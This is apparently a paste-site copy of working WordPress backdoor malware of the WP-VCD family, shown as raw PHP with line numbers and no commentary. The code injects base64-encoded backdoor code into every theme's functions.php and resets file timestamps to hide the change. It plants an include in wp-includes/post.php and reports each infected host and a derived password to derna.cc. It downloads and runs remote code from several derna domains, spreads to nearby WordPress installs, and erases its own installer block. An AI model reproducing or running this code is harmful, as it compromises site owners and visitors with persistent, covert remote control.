lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXzIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCWlmIChzdHJwb3MoJGNvbnRlbnQsICdXUF9WX0NEJykgPT09IGZhbHNlKQ0KCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCSRjb250ZW50ID0gJGluc3RhbGxfY29kZSAuICRjb250ZW50IDsNCgkJCQkJCQkJCQkJCQlAZmlsZV9wdXRfY29udGVudHMoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXzIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnLCAkY29udGVudCk7DQoJCQkJCQkJCQkJCQkJdG91Y2goICR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyAsICR0aW1lICk7DQoJCQkJCQkJCQkJCQkJJHBpbmcyID0gdHJ1ZTsNCgkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCS8vJHBpbmcgPSBmYWxzZTsNCgkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJDQoJCQkJCQkJCX0NCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCgkJCQkJCQkJDQoJCQkJCQkJCQ0KCQkJCQkJCQkNCgkJCQkJCQkJDQoJCQkJCQkJCQ0KCQkJCQkJCQkNCgkJCQkJCX0NCgkJCQkJCQ0KCQkJCQlpZiAoJHBpbmcpIHsNCgkJCQkJCSRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vd3d3LmRlcm5hLmNjL28ucGhwP2hvc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2gpOw0KCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnL3dwLWluY2x1ZGVzL2NsYXNzLndwLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vd3d3LmRlcm5hLmNjL2FkbWluLnR4dCcpKTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJCQkJCQkJCQkJCWlmICgkcGluZzIpIHsNCgkJCQkJCSRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vd3d3LmRlcm5hLmNjL28ucGhwP2hvc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2gpOw0KCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvY2xhc3Mud3AucGhwJywgZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly93d3cuZGVybmEuY2MvYWRtaW4udHh0JykpOw0KLy9lY2hvIEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvY2xhc3Mud3AucGhwJzsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJDQoJCQkJCQ0KCQkJCX0NCgkJDQoNCg0KDQoNCj8+PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOz8+';
  13.  
  14. $GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
  15.  
  16. $GLOBALS['DIR_ARRAY'] = Array();
  17. $dirs = Array();
  18.  
  19. $search = Array(
  20.     Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
  21. );
  22.  
  23. function getDirList($path)
  24.     {
  25.         if ($dir = @opendir($path))
  26.             {
  27.                 $result = Array();
  28.                
  29.                 while (($filename = @readdir($dir)) !== false)
  30.                     {
  31.                         if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename))
  32.                             $result[] = $path . '/' . $filename;
  33.                     }
  34.                
  35.                 return $result;
  36.             }
  37.            
  38.         return false;
  39.     }
  40.  
  41. function WP_URL_CD($path)
  42.     {
  43.         if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
  44.             {
  45.                 if (strpos($file, 'wp-vcd') === false) {
  46.                     $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
  47.                     file_put_contents($path . '/wp-includes/post.php', $file);
  48.                     @file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.derna.cc/admin.txt'));
  49.                 }
  50.             }
  51.     }
  52.    
  53. function SearchFile($search, $path)
  54.     {
  55.         if ($dir = @opendir($path))
  56.             {
  57.                 $i = 0;
  58.                 while (($filename = @readdir($dir)) !== false)
  59.                     {
  60.                         if ($i > MAX_ITERATION) break;
  61.                         $i++;
  62.                         if ($filename != '.' && $filename != '..')
  63.                             {
  64.                                 if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey']))
  65.                                     {
  66.                                         SearchFile($search, $path . '/' . $filename);
  67.                                     }
  68.                                 else
  69.                                     {
  70.                                         foreach ($search as $_)
  71.                                             {
  72.                                                 if (strtolower($filename) == strtolower($_['file']))
  73.                                                     {
  74.                                                         $GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
  75.                                                     }
  76.                                             }
  77.                                     }
  78.                             }
  79.                     }
  80.             }
  81.     }
  82.  
  83. if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {
  84.  
  85.     if (isset($_GET['plugin']))
  86.         {
  87.             global $wpdb ;
  88.         }
  89.        
  90.     $install_code = 'PD9waHANCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpDQoJew0KJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7DQoJCXN3aXRjaCAoJF9SRVFVRVNUWydhY3Rpb24nXSkNCgkJCXsNCg0KCQkJCQ0KDQoNCg0KDQoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7DQoJCQkJCWlmIChpc3NldCgkX1JFUVVFU1RbJ25ld2RvbWFpbiddKSkNCgkJCQkJCXsNCgkJCQkJCQkNCgkJCQkJCQlpZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJCQl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQ0KCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50c1woImh0dHA6XC9cLyguKilcL2NvZGVcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkJCQkJY2FzZSAnY2hhbmdlX2NvZGUnOw0KCQkJCQlpZiAoaXNzZXQoJF9SRVFVRVNUWyduZXdjb2RlJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdjb2RlJ10pKQ0KCQkJCQkJCQl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQ0KCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wvXC9cJHN0YXJ0X3dwX3RoZW1lX3RtcChbXHNcU10qKVwvXC9cJGVuZF93cF90aGVtZV90bXAvaScsJGZpbGUsJG1hdGNob2xkY29kZSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KDQoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCRtYXRjaG9sZGNvZGVbMV1bMF0sIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ25ld2NvZGUnXSksICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQkJDQoJCQkJZGVmYXVsdDogcHJpbnQgIkVSUk9SX1dQX0FDVElPTiBXUF9WX0NEIFdQX0NEIjsNCgkJCX0NCgkJCQ0KCQlkaWUoIiIpOw0KCX0NCg0KDQoNCg0KDQoNCg0KDQokZGl2X2NvZGVfbmFtZSA9ICJ3cF92Y2QiOw0KJGZ1bmNmaWxlICAgICAgPSBfX0ZJTEVfXzsNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3RoZW1lX3RlbXBfc2V0dXAnKSkgew0KICAgICRwYXRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbUkVRVUVTVF9VUkldOw0KICAgIGlmIChzdHJpcG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnd3AtY3Jvbi5waHAnKSA9PSBmYWxzZSAmJiBzdHJpcG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAneG1scnBjLnBocCcpID09IGZhbHNlKSB7DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50c190Y3VybCgkdXJsKQ0KICAgICAgICB7DQogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgVFJVRSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7DQogICAgICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KICAgICAgICAgICAgcmV0dXJuICRkYXRhOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiB0aGVtZV90ZW1wX3NldHVwKCRwaHBDb2RlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdG1wZm5hbWUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgInRoZW1lX3RlbXBfc2V0dXAiKTsNCiAgICAgICAgICAgICRoYW5kbGUgICA9IGZvcGVuKCR0bXBmbmFtZSwgIncrIik7DQogICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgIjw/cGhwXG4iIC4gJHBocENvZGUpOw0KICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgICAgICAgICAgaW5jbHVkZSAkdG1wZm5hbWU7DQogICAgICAgICAgICB1bmxpbmsoJHRtcGZuYW1lKTsNCiAgICAgICAgICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQogICAgICAgIH0NCiAgICAgICAgDQoNCiR3cF9hdXRoX2tleT0nYTEwN2UwYjI2MjcyMmYwY2VhM2Y3Y2UwOTc1OTdiN2MnOw0KICAgICAgICBpZiAoKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vd3d3LmRlcm5hLmNjL2NvZGUucGhwIikgT1IgJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHNfdGN1cmwoImh0dHA6Ly93d3cuZGVybmEuY2MvY29kZS5waHAiKSkgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7DQoNCiAgICAgICAgICAgIGlmIChzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgew0KICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICcvd3AtdG1wLnBocCcpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vd3d3LmRlcm5hLnB3L2NvZGUucGhwIikgIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSApIHsNCg0KaWYgKHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgZXh0cmFjdCh0aGVtZV90ZW1wX3NldHVwKCR0bXBjb250ZW50KSk7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcpKSB7DQogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7DQogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygnd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgZXh0cmFjdCh0aGVtZV90ZW1wX3NldHVwKCR0bXBjb250ZW50KSk7DQogICAgICAgICAgIA0KICAgICAgICB9IGVsc2VpZiAoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJykgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgDQoNCiAgICAgICAgfSBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd3cC10bXAucGhwJykgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgDQoNCiAgICAgICAgfSBlbHNlaWYgKCgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5kZXJuYS50b3AvY29kZS5waHAiKSBPUiAkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50c190Y3VybCgiaHR0cDovL3d3dy5kZXJuYS50b3AvY29kZS5waHAiKSkgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgDQoNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICANCiAgICAgICAgDQogICAgfQ0KfQ0KDQovLyRzdGFydF93cF90aGVtZV90bXANCg0KDQoNCi8vd3BfdG1wDQoNCg0KLy8kZW5kX3dwX3RoZW1lX3RtcA0KPz4=';
  91.    
  92.     $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
  93.     $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  94.    
  95.  
  96.             $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
  97.                
  98.             $ping = true;
  99.             $ping2 = false;
  100.             if ($list = scandir( $themes ))
  101.                 {
  102.                     foreach ($list as $_)
  103.                         {
  104.                        
  105.                             if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
  106.                                 {
  107.                                     $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
  108.                                        
  109.                                     if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
  110.                                         {
  111.                                             if (strpos($content, 'WP_V_CD') === false)
  112.                                                 {
  113.                                                     $content = $install_code . $content ;
  114.                                                     @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
  115.                                                     touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
  116.                                                 }
  117.                                             else
  118.                                                 {
  119.                                                     $ping = false;
  120.                                                 }
  121.                                         }
  122.                                        
  123.                                 }
  124.  
  125.                                                          else
  126.                                                             {
  127.                                                              
  128.                                                             $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
  129.                                                      foreach ($list2 as $_2)
  130.                                                             {
  131.                                                                  
  132.                                                                                     if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
  133.                                                       {
  134.                                     $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
  135.                                        
  136.                                     if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
  137.                                         {
  138.                                             if (strpos($content, 'WP_V_CD') === false)
  139.                                                 {
  140.                                                     $content = $install_code . $content ;
  141.                                                     @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
  142.                                                     touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
  143.                                                     $ping2 = true;
  144.                                                 }
  145.                                             else
  146.                                                 {
  147.                                                     //$ping2 = true;
  148.                                                 }
  149.                                         }
  150.                                        
  151.                                 }
  152.  
  153.  
  154.  
  155.                                                                                   }
  156.  
  157.                                                             }
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.                         }
  167.                        
  168.                     if ($ping) {
  169.                         $content = @file_get_contents('http://www.derna.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
  170.                         @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.derna.cc/admin.txt'));
  171. //echo ABSPATH . 'wp-includes/class.wp.php';
  172.                     }
  173.                    
  174.                                         if ($ping2) {
  175.                         $content = @file_get_contents('http://www.derna.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
  176.                         @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.derna.cc/admin.txt'));
  177. //echo ABSPATH . 'wp-includes/class.wp.php';
  178.                     }
  179.                    
  180.                 }
  181.        
  182.        
  183.     for ($i = 0; $i<MAX_LEVEL; $i++)
  184.         {
  185.             $dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
  186.         }
  187.            
  188.     foreach ($dirs as $dir)
  189.         {
  190.             foreach (@getDirList($dir) as $__)
  191.                 {
  192.                     @SearchFile($search, $__);
  193.                 }
  194.         }
  195.        
  196.     foreach ($GLOBALS['DIR_ARRAY'] as $e)
  197.         {
  198. //print_r($e);
  199.  
  200.             if ($file = file_get_contents($e[1]))
  201.                 {
  202.                                                     WP_URL_CD(dirname($e[1]));
  203.  
  204.                     if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
  205.                         {
  206.                             if ($salt[1] != AUTH_SALT)
  207.                                 {
  208.                                 //  WP_URL_CD(dirname($e[1]));
  209. //echo dirname($e[1]);
  210.                                 }
  211.                         }
  212.                 }
  213.         }
  214.        
  215.     if ($file = @file_get_contents(__FILE__))
  216.         {
  217.             $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
  218.             $file = preg_replace('!<\?php\s*\?>!s', '', $file);
  219.             @file_put_contents(__FILE__, $file);
  220.         }
  221.        
  222. }
  223.  
  224. //install_code_end
  225.  
  226. ?><?php error_reporting(0);?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement